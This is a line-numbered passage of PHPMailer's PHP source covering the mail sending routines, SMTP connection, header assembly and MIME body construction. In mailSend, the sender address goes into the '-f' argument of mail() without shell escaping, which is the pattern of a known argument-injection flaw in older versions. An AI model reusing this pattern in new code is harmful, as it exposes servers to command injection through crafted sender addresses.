8932 return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
8933 case 'mail':
8934 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
8935 default:
8936 $sendMethod = $this->Mailer.'Send';
8937 if (method_exists($this, $sendMethod)) {
8938 return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
8939 }
8940
8941 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
8942 }
8943 } catch (phpmailerException $exc) {
8944 $this->setError($exc->getMessage());
8945 $this->edebug($exc->getMessage());
8946 if ($this->exceptions) {
8947 throw $exc;
8948 }
8949 }
8950 return false;
8951 }
8952
8953 /**
8954 * Send mail using the $Sendmail program.
8955 * @param string $header The message headers
8956 * @param string $body The message body
8957 * @see PHPMailer::$Sendmail
8958 * @throws phpmailerException
8959 * @access protected
8960 * @return boolean
8961 */
8962 protected function sendmailSend($header, $body)
8963 {
8964 if ($this->Sender != '') {
8965 if ($this->Mailer == 'qmail') {
8966 $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
8967 } else {
8968 $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
8969 }
8970 } else {
8971 if ($this->Mailer == 'qmail') {
8972 $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
8973 } else {
8974 $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
8975 }
8976 }
8977 if ($this->SingleTo) {
8978 foreach ($this->SingleToArray as $toAddr) {
8979 if (!@$mail = popen($sendmail, 'w')) {
8980 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
8981 }
8982 fputs($mail, 'To: ' . $toAddr . "\n");
8983 fputs($mail, $header);
8984 fputs($mail, $body);
8985 $result = pclose($mail);
8986 $this->doCallback(
8987 ($result == 0),
8988 array($toAddr),
8989 $this->cc,
8990 $this->bcc,
8991 $this->Subject,
8992 $body,
8993 $this->From
8994 );
8995 if ($result != 0) {
8996 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
8997 }
8998 }
8999 } else {
9000 if (!@$mail = popen($sendmail, 'w')) {
9001 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
9002 }
9003 fputs($mail, $header);
9004 fputs($mail, $body);
9005 $result = pclose($mail);
9006 $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
9007 if ($result != 0) {
9008 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
9009 }
9010 }
9011 return true;
9012 }
9013
9014 /**
9015 * Send mail using the PHP mail() function.
9016 * @param string $header The message headers
9017 * @param string $body The message body
9018 * @link http://www.php.net/manual/en/book.mail.php
9019 * @throws phpmailerException
9020 * @access protected
9021 * @return boolean
9022 */
9023 protected function mailSend($header, $body)
9024 {
9025 $toArr = array();
9026 foreach ($this->to as $toaddr) {
9027 $toArr[] = $this->addrFormat($toaddr);
9028 }
9029 $to = implode(', ', $toArr);
9030
9031 if (empty($this->Sender)) {
9032 $params = ' ';
9033 } else {
9034 $params = sprintf('-f%s', $this->Sender);
9035 }
9036 if ($this->Sender != '' and !ini_get('safe_mode')) {
9037 $old_from = ini_get('sendmail_from');
9038 ini_set('sendmail_from', $this->Sender);
9039 }
9040 $result = false;
9041 if ($this->SingleTo && count($toArr) > 1) {
9042 foreach ($toArr as $toAddr) {
9043 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
9044 $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
9045 }
9046 } else {
9047 $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
9048 $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
9049 }
9050 if (isset($old_from)) {
9051 ini_set('sendmail_from', $old_from);
9052 }
9053 if (!$result) {
9054 throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
9055 }
9056 return true;
9057 }
9058
9059 /**
9060 * Get an instance to use for SMTP operations.
9061 * Override this function to load your own SMTP implementation
9062 * @return SMTP
9063 */
9064 public function getSMTPInstance()
9065 {
9066 if (!is_object($this->smtp)) {
9067 $this->smtp = new SMTP;
9068 }
9069 return $this->smtp;
9070 }
9071
9072 /**
9073 * Send mail via SMTP.
9074 * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
9075 * Uses the PHPMailerSMTP class by default.
9076 * @see PHPMailer::getSMTPInstance() to use a different class.
9077 * @param string $header The message headers
9078 * @param string $body The message body
9079 * @throws phpmailerException
9080 * @uses SMTP
9081 * @access protected
9082 * @return boolean
9083 */
9084 protected function smtpSend($header, $body)
9085 {
9086 $bad_rcpt = array();
9087
9088 if (!$this->smtpConnect()) {
9089 throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
9090 }
9091 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
9092 if (!$this->smtp->mail($smtp_from)) {
9093 $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
9094 throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
9095 }
9096
9097 // Attempt to send to all recipients
9098 foreach ($this->to as $to) {
9099 if (!$this->smtp->recipient($to[0])) {
9100 $bad_rcpt[] = $to[0];
9101 $isSent = false;
9102 } else {
9103 $isSent = true;
9104 }
9105 $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
9106 }
9107 foreach ($this->cc as $cc) {
9108 if (!$this->smtp->recipient($cc[0])) {
9109 $bad_rcpt[] = $cc[0];
9110 $isSent = false;
9111 } else {
9112 $isSent = true;
9113 }
9114 $this->doCallback($isSent, array(), array($cc[0]), array(), $this->Subject, $body, $this->From);
9115 }
9116 foreach ($this->bcc as $bcc) {
9117 if (!$this->smtp->recipient($bcc[0])) {
9118 $bad_rcpt[] = $bcc[0];
9119 $isSent = false;
9120 } else {
9121 $isSent = true;
9122 }
9123 $this->doCallback($isSent, array(), array(), array($bcc[0]), $this->Subject, $body, $this->From);
9124 }
9125
9126 // Only send the DATA command if we have viable recipients
9127 if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
9128 throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
9129 }
9130 if ($this->SMTPKeepAlive) {
9131 $this->smtp->reset();
9132 } else {
9133 $this->smtp->quit();
9134 $this->smtp->close();
9135 }
9136 if (count($bad_rcpt) > 0) { // Create error message for any bad addresses
9137 throw new phpmailerException(
9138 $this->lang('recipients_failed') . implode(', ', $bad_rcpt),
9139 self::STOP_CONTINUE
9140 );
9141 }
9142 return true;
9143 }
9144
9145 /**
9146 * Initiate a connection to an SMTP server.
9147 * Returns false if the operation failed.
9148 * @param array $options An array of options compatible with stream_context_create()
9149 * @uses SMTP
9150 * @access public
9151 * @throws phpmailerException
9152 * @return boolean
9153 */
9154 public function smtpConnect($options = array())
9155 {
9156 if (is_null($this->smtp)) {
9157 $this->smtp = $this->getSMTPInstance();
9158 }
9159
9160 // Already connected?
9161 if ($this->smtp->connected()) {
9162 return true;
9163 }
9164
9165 $this->smtp->setTimeout($this->Timeout);
9166 $this->smtp->setDebugLevel($this->SMTPDebug);
9167 $this->smtp->setDebugOutput($this->Debugoutput);
9168 $this->smtp->setVerp($this->do_verp);
9169 $hosts = explode(';', $this->Host);
9170 $lastexception = null;
9171
9172 foreach ($hosts as $hostentry) {
9173 $hostinfo = array();
9174 if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
9175 // Not a valid host entry
9176 continue;
9177 }
9178 // $hostinfo[2]: optional ssl or tls prefix
9179 // $hostinfo[3]: the hostname
9180 // $hostinfo[4]: optional port number
9181 // The host string prefix can temporarily override the current setting for SMTPSecure
9182 // If it's not specified, the default value is used
9183 $prefix = '';
9184 $tls = ($this->SMTPSecure == 'tls');
9185 if ($hostinfo[2] == 'ssl' or ($hostinfo[2] == '' and $this->SMTPSecure == 'ssl')) {
9186 $prefix = 'ssl://';
9187 $tls = false; // Can't have SSL and TLS at once
9188 } elseif ($hostinfo[2] == 'tls') {
9189 $tls = true;
9190 // tls doesn't use a prefix
9191 }
9192 $host = $hostinfo[3];
9193 $port = $this->Port;
9194 $tport = (integer)$hostinfo[4];
9195 if ($tport > 0 and $tport < 65536) {
9196 $port = $tport;
9197 }
9198 if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
9199 try {
9200 if ($this->Helo) {
9201 $hello = $this->Helo;
9202 } else {
9203 $hello = $this->serverHostname();
9204 }
9205 $this->smtp->hello($hello);
9206
9207 if ($tls) {
9208 if (!$this->smtp->startTLS()) {
9209 throw new phpmailerException($this->lang('connect_host'));
9210 }
9211 // We must resend HELO after tls negotiation
9212 $this->smtp->hello($hello);
9213 }
9214 if ($this->SMTPAuth) {
9215 if (!$this->smtp->authenticate(
9216 $this->Username,
9217 $this->Password,
9218 $this->AuthType,
9219 $this->Realm,
9220 $this->Workstation
9221 )
9222 ) {
9223 throw new phpmailerException($this->lang('authenticate'));
9224 }
9225 }
9226 return true;
9227 } catch (phpmailerException $exc) {
9228 $lastexception = $exc;
9229 // We must have connected, but then failed TLS or Auth, so close connection nicely
9230 $this->smtp->quit();
9231 }
9232 }
9233 }
9234 // If we get here, all connection attempts have failed, so close connection hard
9235 $this->smtp->close();
9236 // As we've caught all exceptions, just report whatever the last one was
9237 if ($this->exceptions and !is_null($lastexception)) {
9238 throw $lastexception;
9239 }
9240 return false;
9241 }
9242
9243 /**
9244 * Close the active SMTP session if one exists.
9245 * @return void
9246 */
9247 public function smtpClose()
9248 {
9249 if ($this->smtp !== null) {
9250 if ($this->smtp->connected()) {
9251 $this->smtp->quit();
9252 $this->smtp->close();
9253 }
9254 }
9255 }
9256
9257 /**
9258 * Set the language for error messages.
9259 * Returns false if it cannot load the language file.
9260 * The default language is English.
9261 * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
9262 * @param string $lang_path Path to the language file directory, with trailing separator (slash)
9263 * @return boolean
9264 * @access public
9265 */
9266 public function setLanguage($langcode = 'en', $lang_path = '')
9267 {
9268 // Define full set of translatable strings in English
9269 $PHPMAILER_LANG = array(
9270 'authenticate' => 'SMTP Error: Could not authenticate.',
9271 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
9272 'data_not_accepted' => 'SMTP Error: data not accepted.',
9273 'empty_message' => 'Message body empty',
9274 'encoding' => 'Unknown encoding: ',
9275 'execute' => 'Could not execute: ',
9276 'file_access' => 'Could not access file: ',
9277 'file_open' => 'File Error: Could not open file: ',
9278 'from_failed' => 'The following From address failed: ',
9279 'instantiate' => 'Could not instantiate mail function.',
9280 'invalid_address' => 'Invalid address',
9281 'mailer_not_supported' => ' mailer is not supported.',
9282 'provide_address' => 'You must provide at least one recipient email address.',
9283 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
9284 'signing' => 'Signing Error: ',
9285 'smtp_connect_failed' => 'SMTP connect() failed.',
9286 'smtp_error' => 'SMTP server error: ',
9287 'variable_set' => 'Cannot set or reset variable: '
9288 );
9289 if (empty($lang_path)) {
9290 // Calculate an absolute path so it can work if CWD is not here
9291 $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
9292 }
9293 $foundlang = true;
9294 $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
9295 if ($langcode != 'en') { // There is no English translation file
9296 // Make sure language file path is readable
9297 if (!is_readable($lang_file)) {
9298 $foundlang = false;
9299 } else {
9300 // Overwrite language-specific strings.
9301 // This way we'll never have missing translations.
9302 $foundlang = include $lang_file;
9303 }
9304 }
9305 $this->language = $PHPMAILER_LANG;
9306 return (boolean)$foundlang; // Returns false if language not found
9307 }
9308
9309 /**
9310 * Get the array of strings for the current language.
9311 * @return array
9312 */
9313 public function getTranslations()
9314 {
9315 return $this->language;
9316 }
9317
9318 /**
9319 * Create recipient headers.
9320 * @access public
9321 * @param string $type
9322 * @param array $addr An array of recipient,
9323 * where each recipient is a 2-element indexed array with element 0 containing an address
9324 * and element 1 containing a name, like:
9325 * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
9326 * @return string
9327 */
9328 public function addrAppend($type, $addr)
9329 {
9330 $addresses = array();
9331 foreach ($addr as $address) {
9332 $addresses[] = $this->addrFormat($address);
9333 }
9334 return $type . ': ' . implode(', ', $addresses) . $this->LE;
9335 }
9336
9337 /**
9338 * Format an address for use in a message header.
9339 * @access public
9340 * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
9341 * like array('joe@example.com', 'Joe User')
9342 * @return string
9343 */
9344 public function addrFormat($addr)
9345 {
9346 if (empty($addr[1])) { // No name provided
9347 return $this->secureHeader($addr[0]);
9348 } else {
9349 return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
9350 $addr[0]
9351 ) . '>';
9352 }
9353 }
9354
9355 /**
9356 * Word-wrap message.
9357 * For use with mailers that do not automatically perform wrapping
9358 * and for quoted-printable encoded messages.
9359 * Original written by philippe.
9360 * @param string $message The message to wrap
9361 * @param integer $length The line length to wrap to
9362 * @param boolean $qp_mode Whether to run in Quoted-Printable mode
9363 * @access public
9364 * @return string
9365 */
9366 public function wrapText($message, $length, $qp_mode = false)
9367 {
9368 $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
9369 // If utf-8 encoding is used, we will need to make sure we don't
9370 // split multibyte characters when we wrap
9371 $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
9372 $lelen = strlen($this->LE);
9373 $crlflen = strlen(self::CRLF);
9374
9375 $message = $this->fixEOL($message);
9376 if (substr($message, -$lelen) == $this->LE) {
9377 $message = substr($message, 0, -$lelen);
9378 }
9379
9380 $line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE
9381 $message = '';
9382 for ($i = 0; $i < count($line); $i++) {
9383 $line_part = explode(' ', $line[$i]);
9384 $buf = '';
9385 for ($e = 0; $e < count($line_part); $e++) {
9386 $word = $line_part[$e];
9387 if ($qp_mode and (strlen($word) > $length)) {
9388 $space_left = $length - strlen($buf) - $crlflen;
9389 if ($e != 0) {
9390 if ($space_left > 20) {
9391 $len = $space_left;
9392 if ($is_utf8) {
9393 $len = $this->utf8CharBoundary($word, $len);
9394 } elseif (substr($word, $len - 1, 1) == '=') {
9395 $len--;
9396 } elseif (substr($word, $len - 2, 1) == '=') {
9397 $len -= 2;
9398 }
9399 $part = substr($word, 0, $len);
9400 $word = substr($word, $len);
9401 $buf .= ' ' . $part;
9402 $message .= $buf . sprintf('=%s', self::CRLF);
9403 } else {
9404 $message .= $buf . $soft_break;
9405 }
9406 $buf = '';
9407 }
9408 while (strlen($word) > 0) {
9409 if ($length <= 0) {
9410 break;
9411 }
9412 $len = $length;
9413 if ($is_utf8) {
9414 $len = $this->utf8CharBoundary($word, $len);
9415 } elseif (substr($word, $len - 1, 1) == '=') {
9416 $len--;
9417 } elseif (substr($word, $len - 2, 1) == '=') {
9418 $len -= 2;
9419 }
9420 $part = substr($word, 0, $len);
9421 $word = substr($word, $len);
9422
9423 if (strlen($word) > 0) {
9424 $message .= $part . sprintf('=%s', self::CRLF);
9425 } else {
9426 $buf = $part;
9427 }
9428 }
9429 } else {
9430 $buf_o = $buf;
9431 $buf .= ($e == 0) ? $word : (' ' . $word);
9432
9433 if (strlen($buf) > $length and $buf_o != '') {
9434 $message .= $buf_o . $soft_break;
9435 $buf = $word;
9436 }
9437 }
9438 }
9439 $message .= $buf . self::CRLF;
9440 }
9441
9442 return $message;
9443 }
9444
9445 /**
9446 * Find the last character boundary prior to $maxLength in a utf-8
9447 * quoted (printable) encoded string.
9448 * Original written by Colin Brown.
9449 * @access public
9450 * @param string $encodedText utf-8 QP text
9451 * @param integer $maxLength find last character boundary prior to this length
9452 * @return integer
9453 */
9454 public function utf8CharBoundary($encodedText, $maxLength)
9455 {
9456 $foundSplitPos = false;
9457 $lookBack = 3;
9458 while (!$foundSplitPos) {
9459 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
9460 $encodedCharPos = strpos($lastChunk, '=');
9461 if (false !== $encodedCharPos) {
9462 // Found start of encoded character byte within $lookBack block.
9463 // Check the encoded byte value (the 2 chars after the '=')
9464 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
9465 $dec = hexdec($hex);
9466 if ($dec < 128) { // Single byte character.
9467 // If the encoded char was found at pos 0, it will fit
9468 // otherwise reduce maxLength to start of the encoded char
9469 $maxLength = ($encodedCharPos == 0) ? $maxLength :
9470 $maxLength - ($lookBack - $encodedCharPos);
9471 $foundSplitPos = true;
9472 } elseif ($dec >= 192) { // First byte of a multi byte character
9473 // Reduce maxLength to split at start of character
9474 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
9475 $foundSplitPos = true;
9476 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
9477 $lookBack += 3;
9478 }
9479 } else {
9480 // No encoded character found
9481 $foundSplitPos = true;
9482 }
9483 }
9484 return $maxLength;
9485 }
9486
9487 /**
9488 * Set the body wrapping.
9489 * @access public
9490 * @return void
9491 */
9492 public function setWordWrap()
9493 {
9494 if ($this->WordWrap < 1) {
9495 return;
9496 }
9497
9498 switch ($this->message_type) {
9499 case 'alt':
9500 case 'alt_inline':
9501 case 'alt_attach':
9502 case 'alt_inline_attach':
9503 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
9504 break;
9505 default:
9506 $this->Body = $this->wrapText($this->Body, $this->WordWrap);
9507 break;
9508 }
9509 }
9510
9511 /**
9512 * Assemble message headers.
9513 * @access public
9514 * @return string The assembled headers
9515 */
9516 public function createHeader()
9517 {
9518 $result = '';
9519
9520 // Set the boundaries
9521 $uniq_id = md5(uniqid(time()));
9522 $this->boundary[1] = 'b1_' . $uniq_id;
9523 $this->boundary[2] = 'b2_' . $uniq_id;
9524 $this->boundary[3] = 'b3_' . $uniq_id;
9525
9526 if ($this->MessageDate == '') {
9527 $this->MessageDate = self::rfcDate();
9528 }
9529 $result .= $this->headerLine('Date', $this->MessageDate);
9530
9531
9532 // To be created automatically by mail()
9533 if ($this->SingleTo) {
9534 if ($this->Mailer != 'mail') {
9535 foreach ($this->to as $toaddr) {
9536 $this->SingleToArray[] = $this->addrFormat($toaddr);
9537 }
9538 }
9539 } else {
9540 if (count($this->to) > 0) {
9541 if ($this->Mailer != 'mail') {
9542 $result .= $this->addrAppend('To', $this->to);
9543 }
9544 } elseif (count($this->cc) == 0) {
9545 $result .= $this->headerLine('To', 'undisclosed-recipients:;');
9546 }
9547 }
9548
9549 $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
9550
9551 // sendmail and mail() extract Cc from the header before sending
9552 if (count($this->cc) > 0) {
9553 $result .= $this->addrAppend('Cc', $this->cc);
9554 }
9555
9556 // sendmail and mail() extract Bcc from the header before sending
9557 if ((
9558 $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
9559 )
9560 and count($this->bcc) > 0
9561 ) {
9562 $result .= $this->addrAppend('Bcc', $this->bcc);
9563 }
9564
9565 if (count($this->ReplyTo) > 0) {
9566 $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
9567 }
9568
9569 // mail() sets the subject itself
9570 if ($this->Mailer != 'mail') {
9571 $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
9572 }
9573
9574 if ($this->MessageID != '') {
9575 $this->lastMessageID = $this->MessageID;
9576 } else {
9577 $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());
9578 }
9579 $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
9580 $result .= $this->headerLine('X-Priority', $this->Priority);
9581 if ($this->XMailer == '') {
9582 $result .= $this->headerLine(
9583 'X-Mailer',
9584 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer/)'
9585 );
9586 } else {
9587 $myXmailer = trim($this->XMailer);
9588 if ($myXmailer) {
9589 $result .= $this->headerLine('X-Mailer', $myXmailer);
9590 }
9591 }
9592
9593 if ($this->ConfirmReadingTo != '') {
9594 $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
9595 }
9596
9597 // Add custom headers
9598 for ($index = 0; $index < count($this->CustomHeader); $index++) {
9599 $result .= $this->headerLine(
9600 trim($this->CustomHeader[$index][0]),
9601 $this->encodeHeader(trim($this->CustomHeader[$index][1]))
9602 );
9603 }
9604 if (!$this->sign_key_file) {
9605 $result .= $this->headerLine('MIME-Version', '1.0');
9606 $result .= $this->getMailMIME();
9607 }
9608
9609 return $result;
9610 }
9611
9612 /**
9613 * Get the message MIME type headers.
9614 * @access public
9615 * @return string
9616 */
9617 public function getMailMIME()
9618 {
9619 $result = '';
9620 $ismultipart = true;
9621 switch ($this->message_type) {
9622 case 'inline':
9623 $result .= $this->headerLine('Content-Type', 'multipart/related;');
9624 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
9625 break;
9626 case 'attach':
9627 case 'inline_attach':
9628 case 'alt_attach':
9629 case 'alt_inline_attach':
9630 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
9631 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
9632 break;
9633 case 'alt':
9634 case 'alt_inline':
9635 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
9636 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
9637 break;
9638 default:
9639 // Catches case 'plain': and case '':
9640 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
9641 $ismultipart = false;
9642 break;
9643 }
9644 // RFC1341 part 5 says 7bit is assumed if not specified
9645 if ($this->Encoding != '7bit') {
9646 // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
9647 if ($ismultipart) {
9648 if ($this->Encoding == '8bit') {
9649 $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
9650 }
9651 // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
9652 } else {
9653 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
9654 }
9655 }
9656
9657 if ($this->Mailer != 'mail') {
9658 $result .= $this->LE;
9659 }
9660
9661 return $result;
9662 }
9663
9664 /**
9665 * Returns the whole MIME message.
9666 * Includes complete headers and body.
9667 * Only valid post preSend().
9668 * @see PHPMailer::preSend()
9669 * @access public
9670 * @return string
9671 */
9672 public function getSentMIMEMessage()
9673 {
9674 return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
9675 }
9676
9677
9678 /**
9679 * Assemble the message body.
9680 * Returns an empty string on failure.
9681 * @access public
9682 * @throws phpmailerException
9683 * @return string The assembled message body
9684 */
9685 public function createBody()
9686 {
9687 $body = '';
9688
9689 if ($this->sign_key_file) {
9690 $body .= $this->getMailMIME() . $this->LE;
9691 }
9692
9693 $this->setWordWrap();
9694
9695 $bodyEncoding = $this->Encoding;
9696 $bodyCharSet = $this->CharSet;
9697 if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
9698 $bodyEncoding = '7bit';
9699 $bodyCharSet = 'us-ascii';
9700 }
9701 $altBodyEncoding = $this->Encoding;
9702 $altBodyCharSet = $this->CharSet;
9703 if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
9704 $altBodyEncoding = '7bit';
9705 $altBodyCharSet = 'us-ascii';
9706 }
9707 switch ($this->message_type) {
9708 case 'inline':
9709 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
9710 $body .= $this->encodeString($this->Body, $bodyEncoding);
9711 $body .= $this->LE . $this->LE;
9712 $body .= $this->attachAll('inline', $this->boundary[1]);
9713 break;
9714 case 'attach':
9715 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
9716 $body .= $this->encodeString($this->Body, $bodyEncoding);
9717 $body .= $this->LE . $this->LE;
9718 $body .= $this->attachAll('attachment', $this->boundary[1]);
9719 break;
9720 case 'inline_attach':
9721 $body .= $this->textLine('--' . $this->boundary[1]);
9722 $body .= $this->headerLine('Content-Type', 'multipart/related;');
9723 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9724 $body .= $this->LE;
9725 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
9726 $body .= $this->encodeString($this->Body, $bodyEncoding);
9727 $body .= $this->LE . $this->LE;
9728 $body .= $this->attachAll('inline', $this->boundary[2]);
9729 $body .= $this->LE;
9730 $body .= $this->attachAll('attachment', $this->boundary[1]);
9731 break;
9732 case 'alt':
9733 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9734 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9735 $body .= $this->LE . $this->LE;
9736 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
9737 $body .= $this->encodeString($this->Body, $bodyEncoding);
9738 $body .= $this->LE . $this->LE;
9739 if (!empty($this->Ical)) {
9740 $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
9741 $body .= $this->encodeString($this->Ical, $this->Encoding);
9742 $body .= $this->LE . $this->LE;
9743 }
9744 $body .= $this->endBoundary($this->boundary[1]);
9745 break;
9746 case 'alt_inline':
9747 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9748 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9749 $body .= $this->LE . $this->LE;
9750 $body .= $this->textLine('--' . $this->boundary[1]);
9751 $body .= $this->headerLine('Content-Type', 'multipart/related;');
9752 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9753 $body .= $this->LE;
9754 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
9755 $body .= $this->encodeString($this->Body, $bodyEncoding);
9756 $body .= $this->LE . $this->LE;
9757 $body .= $this->attachAll('inline', $this->boundary[2]);
9758 $body .= $this->LE;
9759 $body .= $this->endBoundary($this->boundary[1]);
9760 break;
9761 case 'alt_attach':
9762 $body .= $this->textLine('--' . $this->boundary[1]);
9763 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
9764 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9765 $body .= $this->LE;
9766 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9767 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9768 $body .= $this->LE . $this->LE;
9769 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
9770 $body .= $this->encodeString($this->Body, $bodyEncoding);
9771 $body .= $this->LE . $this->LE;
9772 $body .= $this->endBoundary($this->boundary[2]);
9773 $body .= $this->LE;
9774 $body .= $this->attachAll('attachment', $this->boundary[1]);
9775 break;
9776
9777 case 'alt_inline_attach':
9778 $body .= $this->textLine('--' . $this->boundary[1]);
9779 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
9780 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9781 $body .= $this->LE;
9782 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9783 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9784 $body .= $this->LE . $this->LE;
9785 $body .= $this->textLine('--' . $this->boundary[2]);
9786 $body .= $this->headerLine('Content-Type', 'multipart/related;');
9787 $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
9788 $body .= $this->LE;
9789 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
9790 $body .= $this->encodeString($this->Body, $bodyEncoding);
9791 $body .= $this->LE . $this->LE;
9792 $body .= $this->attachAll('inline', $this->boundary[3]);
9793 $body .= $this->LE;
9794 $body .= $this->endBoundary($this->boundary[2]);
9795 $body .= $this->LE;
9796 $body .= $this->attachAll('attachment', $this->boundary[1]);
9797 break;
9798 default:
9799 // catch case 'plain' and case ''
9800 $body .= $this->encodeString($this->Body, $bodyEncoding);
9801 break;
9802 }
9803
9804 if ($this->isError()) {
9805 $body = '';
9806 } elseif ($this->sign_key_file) {
9807 try {
9808 if (!defined('PKCS7_TEXT')) {
9809 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
9810 }
9811 // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
9812 $file = tempnam(sys_get_temp_dir(), 'mail');
9813 if (false === file_put_contents($file, $body)) {
9814 throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
9815 }
9816 $signed = tempnam(sys_get_temp_dir(), 'signed');
9817 if (@openssl_pkcs7_sign(
9818 $file,
9819 $signed,
9820 'file://' . realpath($this->sign_cert_file),
9821 array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
9822 null
9823 )
9824 ) {
9825 @unlink($file);
9826 $body = file_get_contents($signed);
9827 @unlink($signed);
9828 } else {
9829 @unlink($file);
9830 @unlink($signed);
9831 throw new phpmailerException($this->lang('signing') . openssl_error_string());
9832 }
9833 } catch (phpmailerException $exc) {
9834 $body = '';
9835 if ($this->exceptions) {
9836 throw $exc;
9837 }
9838 }
9839 }
9840 return $body;
9841 }
9842
9843 /**
9844 * Return the start of a message boundary.
9845 * @access protected
9846 * @param string $boundary
9847 * @param string $charSet
9848 * @param string $contentType
